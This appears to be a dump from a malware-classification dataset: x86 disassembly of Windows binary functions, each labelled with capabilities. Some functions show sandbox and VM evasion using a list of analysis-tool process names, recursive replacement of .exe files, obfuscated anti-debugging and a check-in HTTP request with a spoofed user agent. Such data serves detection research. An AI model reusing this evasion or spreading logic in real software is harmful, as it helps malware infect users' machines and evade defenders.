joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4727d0
Capabilities:
Check os version
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
mov ebx, eax
mov eax, dword [0x48be08]
cmp dword [eax], 2
je 0x4727ed
mov byte [ebp - 1], 1
jmp 0x4729bb
mov byte [ebp - 1], 0
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push 0x20
push 2
push 0x48b0f0
call sub.advapi32.dll_AllocateAndInitializeSid
test eax, eax
je 0x4729bb
xor eax, eax
push ebp
push 0x4729b4
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
call sub.kernel32.dll_GetVersion_1
and eax, 0xff
cmp ax, 5
jb 0x47284f
push 0x4729c4
push 0x4729dc
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov ebx, eax
test ebx, ebx
je 0x472876
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
call ebx
test eax, eax
je 0x47299d
cmp dword [ebp - 0xc], 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
jmp 0x47299d
xor eax, eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x10]
push eax
push 0xffffffffffffffff
push 8
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.advapi32.dll_OpenThreadToken
test eax, eax
jne 0x4728c7
call sub.kernel32.dll_GetLastError_1
cmp eax, 0x3f0
je 0x4728a8
call fcn.00404288
jmp 0x4729bb
lea eax, [ebp - 0x10]
push eax
push 8
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x4728c7
call fcn.00404288
jmp 0x4729bb
xor eax, eax
push ebp
push 0x472996
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 2
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_GetTokenInformation
test eax, eax
jne 0x47290a
call sub.kernel32.dll_GetLastError_1
cmp eax, 0x7a
je 0x47290a
call fcn.00404288
call fcn.00404288
jmp 0x4729bb
mov eax, dword [ebp - 0x14]
call fcn.0040272c
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
push eax
push 2
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_GetTokenInformation
test eax, eax
jne 0x47293c
call fcn.00404288
call fcn.00404288
jmp 0x4729bb
mov eax, dword [ebp - 0x18]
mov esi, dword [eax]
dec esi
test esi, esi
jl 0x472977
inc esi
xor ebx, ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + ebx*8 + 4]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_EqualSid
test eax, eax
je 0x472973
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + ebx*8 + 8]
and eax, 0x14
cmp eax, 4
jne 0x472973
mov byte [ebp - 1], 1
jmp 0x472977
inc ebx
dec esi
jne 0x472949
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47299d
mov eax, dword [ebp - 0x18]
call fcn.0040274c
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4729bb
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_FreeSid
ret
mov al, byte [ebp - 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x474ac4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404c50
xor eax, eax
push ebp
push 0x474b2a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x40]
xor ecx, ecx
mov edx, 0x3c
call fcn.004031b4
mov dword [ebp - 0x40], 0x3c
mov eax, dword [ebp - 4]
call fcn.00404c60
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x24], 1
lea eax, [ebp - 0x40]
push eax
call sub.shell32.dll_ShellExecuteExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x474b31
lea eax, [ebp - 4]
call fcn.004047a0
ret

Function at 0x474ec4
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004047a0
push esp
push esi
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
test eax, eax
jne 0x474efe
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 4]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
mov edx, ebx
lea eax, [esp + 4]
call fcn.004099e0
add esp, 0x10c
pop esi
pop ebx
ret
Function at 0x476b70
Capabilities:
Shutdown system

Disassembly:
add esp, 0xffffffe8
push 0
push 2
call sub.user32.dll_ExitWindowsEx
test eax, eax
jne 0x476bda
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x476bda
lea eax, [esp + 0xc]
push eax
push 0x476be0
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
lea eax, [esp + 4]
push eax
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
test eax, eax
je 0x476bda
push 0
push 2
call sub.user32.dll_ExitWindowsEx
add esp, 0x18
ret

Function at 0x47ab6c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x47ac4f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004092d0
test al, al
jne 0x47abe9
lea eax, [ebp - 4]
mov ecx, ebx
mov edx, 0x47ac64
call fcn.00404aac
mov eax, dword [ebp - 4]
call fcn.004764f4
cmp byte [0x48ccc5], 0
jne 0x47abe0
push 0x10
push 0x47ac78
lea ecx, [ebp - 8]
mov edx, ebx
mov eax, 0x47ac88
call fcn.0047654c
mov eax, dword [ebp - 8]
call fcn.00404c60
push eax
mov eax, dword [0x48bc54]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_MessageBoxA_1
mov byte [0x48ccc2], 1
jmp 0x47ac34
push 1
push 0
lea eax, [ebp - 0xc]
mov ecx, ebx
mov edx, 0x47aca8
call fcn.00404aac
mov eax, dword [ebp - 0xc]
call fcn.00404c60
push eax
push 0x47acc8
push 0x47acd8
mov eax, dword [0x48bc54]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.shell32.dll_ShellExecuteA
cmp byte [0x48ccc1], 0
je 0x47ac34
mov edx, ebx
mov eax, 0x47ace8
call fcn.00476bf4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47ac56
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004047c4
ret
Function at 0x47b78c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00404c50
mov eax, dword [ebp - 8]
call fcn.00404c50
xor eax, eax
push ebp
push 0x47b87a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x3c
call fcn.004031b4
mov dword [ebp - 0x48], 0x3c
mov dword [ebp - 0x40], esi
test bl, bl
je 0x47b7e3
mov dword [ebp - 0x44], 0x540
jmp 0x47b7ea
mov dword [ebp - 0x44], 0x500
mov eax, 0x47b88c
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
call fcn.00404c60
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 8]
call fcn.00404c60
mov dword [ebp - 0x34], eax
movzx eax, word [ebp + 0xc]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x48]
push eax
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x47b85d
test bl, bl
je 0x47b859
mov eax, dword [0x48bc54]
mov eax, dword [eax]
call fcn.0046bc00
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_GetExitCodeProcess
push 0x64
call sub.kernel32.dll_Sleep_1
cmp dword [ebp - 0xc], 0x103
jne 0x47b859
mov eax, dword [0x48bc54]
mov eax, dword [eax]
cmp byte [eax + 0x9c], 0
je 0x47b820
mov bl, 1
jmp 0x47b85f
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47b881
lea eax, [ebp - 8]
mov edx, 2
call fcn.004047c4
ret
Function at 0x47b894
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe94
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0x15c], ebx
mov dword [ebp - 0x160], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x47b9f8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x47ba10
lea eax, [ebp - 0x15c]
mov edx, ebx
call fcn.00404a04
push dword [ebp - 0x15c]
push 0x47ba1c
lea eax, [ebp - 0x160]
mov edx, esi
call fcn.00404a04
push dword [ebp - 0x160]
lea eax, [ebp - 0x158]
mov edx, 4
call fcn.00404b20
mov edx, dword [ebp - 0x158]
lea eax, [ebp - 0x154]
mov ecx, 0xff
call fcn.00404a3c
lea eax, [ebp - 0x44]
xor ecx, ecx
mov edx, 0x44
call fcn.004031b4
mov dword [ebp - 0x44], 0x44
mov dword [ebp - 0x18], 1
mov word [ebp - 0x14], di
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x168]
mov edx, ebx
call fcn.00404a04
mov eax, dword [ebp - 0x168]
lea edx, [ebp - 0x164]
call fcn.004095b4
mov eax, dword [ebp - 0x164]
call fcn.00404c60
push eax
push 0
push 0x30
push 0
push 0
push 0
lea eax, [ebp - 0x16c]
lea edx, [ebp - 0x154]
call fcn.00404a04
mov eax, dword [ebp - 0x16c]
call fcn.00404c60
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
test bl, bl
je 0x47b9da
push 0xffffffffffffffff
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x50]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47b9ff
lea eax, [ebp - 0x16c]
mov edx, 6
call fcn.004047c4
ret
Function at 0x4822ac
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404c50
xor eax, eax
push ebp
push 0x482334
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.004047a0
mov eax, dword [ebp - 4]
call fcn.00404a60
mov ebx, eax
test ebx, ebx
jle 0x48230f
mov esi, 1
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
mov dl, byte [edx + esi - 1]
xor dl, 2
call fcn.00404988
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.00404a68
inc esi
dec ebx
jne 0x4822ee
mov eax, edi
mov edx, dword [ebp - 8]
call fcn.004047f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48233b
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004047c4
ret
Function at 0x483024
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffddc
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x214], ebx
mov dword [ebp - 0x218], ebx
mov dword [ebp - 0x21c], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
mov byte [ebp - 6], cl
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404c50
xor eax, eax
push ebp
push 0x483266
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404838
lea eax, [ebp - 0x10]
call fcn.004047a0
mov edx, dword [ebp - 4]
mov eax, 0x483280
call fcn.00404da4
test eax, eax
jle 0x4830e2
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x483280
call fcn.00404da4
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404cc0
mov edx, dword [ebp - 4]
mov eax, 0x483280
call fcn.00404da4
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00404d00
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.00404838
cmp byte [ebp - 5], 0
je 0x483138
mov eax, dword [ebp - 0xc]
call fcn.004092d0
test al, al
je 0x483138
lea eax, [ebp - 0x110]
mov edx, dword [ebp - 0x10]
mov ecx, 0xff
call fcn.00404a3c
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x210]
mov edx, dword [ebp - 0xc]
mov ecx, 0xff
call fcn.00404a3c
lea eax, [ebp - 0x210]
mov cx, 1
pop edx
call fcn.0047b894
mov ebx, eax
jmp 0x483233
cmp byte [ebp - 6], 0
je 0x4831ad
push 0x30
lea eax, [ebp - 0x214]
mov ecx, dword [0x48cccc]
mov edx, 0x48328c
call fcn.00404aac
mov eax, dword [ebp - 0x214]
call fcn.00404c60
push eax
push 0
lea eax, [ebp - 0x21c]
push eax
mov ecx, 0x4832a0
mov edx, 0x4832ac
mov eax, dword [0x48ccb0]
mov esi, dword [eax]
call dword [esi]
mov eax, dword [ebp - 0x21c]
lea ecx, [ebp - 0x218]
xor edx, edx
call fcn.0047654c
mov eax, dword [ebp - 0x218]
call fcn.00404c60
push eax
mov eax, dword [0x48bc54]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_MessageBoxA_1
mov eax, dword [ebp - 0xc]
call fcn.004092d0
test al, al
je 0x48320f
push 1
lea edx, [ebp - 0x220]
mov eax, dword [ebp - 0xc]
call fcn.004095e8
mov eax, dword [ebp - 0x220]
call fcn.00404c60
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404c60
push eax
lea edx, [ebp - 0x224]
mov eax, dword [ebp - 0xc]
call fcn.0040963c
mov eax, dword [ebp - 0x224]
call fcn.00404c60
push eax
push 0x4832b8
mov eax, dword [0x48bc54]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x483233
push 1
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.00404c60
push eax
push 0x4832b8
mov eax, dword [0x48bc54]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48326d
lea eax, [ebp - 0x224]
mov edx, 5
call fcn.004047c4
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004047c4
lea eax, [ebp - 4]
call fcn.004047a0
ret
Function at 0xb41b22
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0x67452301
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], 0xefcdab89
mov edx, dword [ebp + 8]
mov dword [edx + 0x10], 0x98badcfe
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0x10325476
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x18], 0xc3d2e1f0
mov edx, dword [ebp + 8]
mov dword [edx + 0x1c], 0
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [eax + 4], 0
xor eax, eax
pop ebp
ret
Function at 0x1160a19
Capabilities:
Check for software breakpoints

Disassembly:
pop ebp
jmp 0x1132e4b
ret
inc edx
test ecx, 0x726c6053
cmc
test al, al
jmp 0x1155c5a
je 0x1155c68
cmp al, cl
je 0x1160a45
pop edi
btc bx, 1
bt ebx, 0x36
pop esi
sal bl, 0xdc
rcl bl, 0xe6
rcr bx, cl
pop ebx
cmp bl, 0xcc
clc
cmp cl, al
jbe 0x118e162
or eax, 0xffffffff
jmp 0x11e5b70
push ebp
shl ebp, 0x18
mov ebp, esp
push ecx
clc
cmp ebp, 0x5b605230
push ebx
cmp bl, 0x23
cmp bp, bp
push esi
bswap si
inc si
push edi
mov edi, eax
mov esi, ecx
and al, al
rcr al, cl
sub edx, edx
dec al
lea ecx, [ecx]
mov cl, byte [edi]
mov al, byte [esi]
jmp 0x1d90b07
sbb eax, eax
test ebx, ecx
cmp edx, eax
neg eax
mov esp, ebp
jmp 0x1131c2a
ret
mov esp, ebp
pop ebp
jmp 0x1191003
inc edi
cmp byte [ebp + 8], 0
mov byte [ebp - 1], cl
jmp 0x1d8bdbc
je 0x1135e39
mov cl, dl
movsx bx, al
bswap ebx
mov ebx, 0x4db96921
clc
rol ebx, cl
setbe cl
mov cl, byte [ebp - 1]
cmp esp, 0x111d1626
test si, si
add bl, dl
test edi, 0x5dd768ec
xor al, bl
jmp 0x1135e31
inc esi
jmp 0x12677c7
Function at 0x402226
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x402226
lcall 0x5de5, 0x8b10c483
jmp loc.01015a38
Function at 0x401000
Capabilities:
Check for sandbox and av modules
Check if process is running under wine
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push edi
push str.kernel32.dll
mov dword [esp + 0x20], 0x4031cc
mov dword [esp + 0x24], str.pythonw.exe
mov dword [esp + 0x28], str.prl_cc.exe
mov dword [esp + 0x2c], str.prl_tools.exe
mov dword [esp + 0x30], str.vmsrvc.exe
mov dword [esp + 0x34], str.vmusrvc.exe
mov dword [esp + 0x38], str.xenservice.exe
mov dword [esp + 0x3c], str.vboxservice.exe
mov dword [esp + 0x40], str.vboxtray.exe
mov dword [esp + 0x44], str.vboxcontrol.exe
mov dword [esp + 0x48], str.vmwareservice.exe
mov dword [esp + 0x4c], str.vmwaretray.exe
mov dword [esp + 0x50], str.tpautoconnsvc.exe
mov dword [esp + 0x54], str.vmtoolsd.exe
mov dword [esp + 0x58], str.vmwareuser.exe
mov dword [esp + 0x10], str.sbiedll.dll
mov dword [esp + 0x14], str.sbiedllx.dll
mov dword [esp + 0x18], str.dir_watch.dll
mov dword [esp + 0x1c], str.wpespy.dll
call ebx
xor edi, edi
cmp eax, edi
je 0x4010ce
push str.wine_get_unix_file_name
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4010ce
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
push dword [esp + edi*4 + 0x1c]
call fcn.0040202b
pop ecx
test eax, eax
jne 0x401109
inc edi
cmp edi, 0xf
jb 0x4010d8
push 0x64
call esi
xor esi, esi
push dword [esp + esi*4 + 0xc]
call ebx
test eax, eax
jne 0x401109
inc esi
cmp esi, 4
jb 0x4010f2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
jmp 0x4010c8
Function at 0x401be3
Capabilities:
Copy file
Delete file
Enumerate files on windows
Enumerate files recursively
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
push edi
mov esi, 0x208
xor edi, edi
push esi
lea eax, [ebp - 0x210]
push edi
push eax
mov dword [ebp - 8], edi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x418]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x668]
push eax
push 0x403738
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x401da7
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp word [ebp - 0x63c], 0x2e
je 0x401d86
and dword [ebp - 0x668], 0x10
je 0x401c7f
mov edi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea eax, [ebp - 0x63c]
push eax
call edi
cmp eax, 1
jne 0x401d86
call fcn.00401be3
push 0x403624
call edi
jmp 0x401d86
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x418]
push eax
push 0x104
lea eax, [ebp - 0x63c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
je 0x401d86
lea eax, [ebp - 0x418]
push str.Recycle.Bin
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401d86
movzx ecx, word [ebp + eax - 0x418]
mov word [ebp + eax - 0x210], cx
inc eax
inc eax
test cx, cx
jne 0x401cbf
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
lea eax, [ebp - 0x210]
push str..rar
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
je 0x401d07
lea eax, [ebp - 0x418]
push eax
call fcn.004021d9
pop ecx
push 0x7d0
call esi
xor ebx, ebx
push dword [ebx + 0x405020]
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
je 0x401d7a
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov edi, eax
test edi, edi
je 0x401d7a
push str..exe
push edi
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
je 0x401d7a
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call esi
push 0
lea eax, [ebp - 0x418]
push eax
push 0x405258
call dword [sym.imp.KERNEL32.dll_CopyFileW]
add ebx, 4
cmp ebx, 0x20
jb 0x401d10
push 0x64
call esi
lea eax, [ebp - 0x668]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401c3f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401f1a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call sub.MSVCRT.dll_memset
xor eax, eax
add esp, 0xc
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 5
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop eax
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x20
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x54], 0x44
push esi
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x401f72
mov al, 1
jmp 0x401f89
push esi
push esi
push esi
push dword [ebp + 8]
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
test eax, eax
setne al
pop edi
pop esi
leave
ret

Function at 0x401f8d
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push esi
push edi
mov esi, 0x208
push esi
xor edi, edi
lea eax, [ebp - 0x208]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x410]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push esi
lea eax, [ebp - 0x208]
push eax
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x208]
push eax
push str._lswinmgr.txt
lea eax, [ebp - 0x410]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
push edi
push 2
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x402025
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x402025
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x402027
xor al, al
pop edi
pop esi
leave
ret

Function at 0x40202b
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push esi
push edi
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x40204c
xor eax, eax
pop edi
pop esi
leave
ret
lea eax, [ebp - 0x12c]
push eax
push edi
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x402046
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40209b
test dl, dl
je 0x402097
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40209b
inc ecx
inc ecx
inc eax
inc eax
test dl, dl
jne 0x40207d
xor eax, eax
jmp 0x4020a0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4020b9
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402067
xor esi, esi
jmp 0x4020bc
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
jmp 0x402048
Function at 0x4020c7
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
mov edi, 0x104
push edi
xor esi, esi
lea eax, [ebp - 0x108]
push esi
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push str._st.php_new1
push edi
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x1c
push esi
push esi
push esi
push esi
push str.Mozilla_5.0__Macintosh__Intel_Mac_OS_X_10.9__rv:25.0__Gecko_20100101_Firefox_25.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, esi
je 0x402129
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x108]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 4], eax
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 4]
call esi
pop edi
pop esi
leave
ret

Function at 0x40213b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
test eax, eax
je 0x4021d2
mov edi, dword [ebp - 4]
xor ecx, ecx
push ecx
mov eax, ecx
mov ecx, 8
mov edx, eax
and edx, 1
jne 0x40216f
shr eax, 1
jmp 0x402176
shr eax, 1
xor eax, 0xedb88320
loop 0x402164
stosd dword es:[edi], eax
pop ecx
inc ecx
cmp ecx, 0x100
jb 0x40215c
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov ebx, 0xffffffff
push ecx
xor eax, eax
lodsb al, byte [esi]
mov edx, ebx
shr ebx, 8
push ebx
xchg ebx, edx
and ebx, 0xff
xor ebx, eax
xchg ebx, eax
mov ecx, 4
mul ecx
xchg ebx, eax
mov eax, dword [ebp - 4]
add eax, ebx
mov eax, dword [eax]
pop ebx
xor eax, ebx
mov ebx, eax
pop ecx
inc ecx
cmp ecx, edi
jb 0x402190
not eax
mov dword [ebp - 8], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 8]
jmp 0x4021d4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret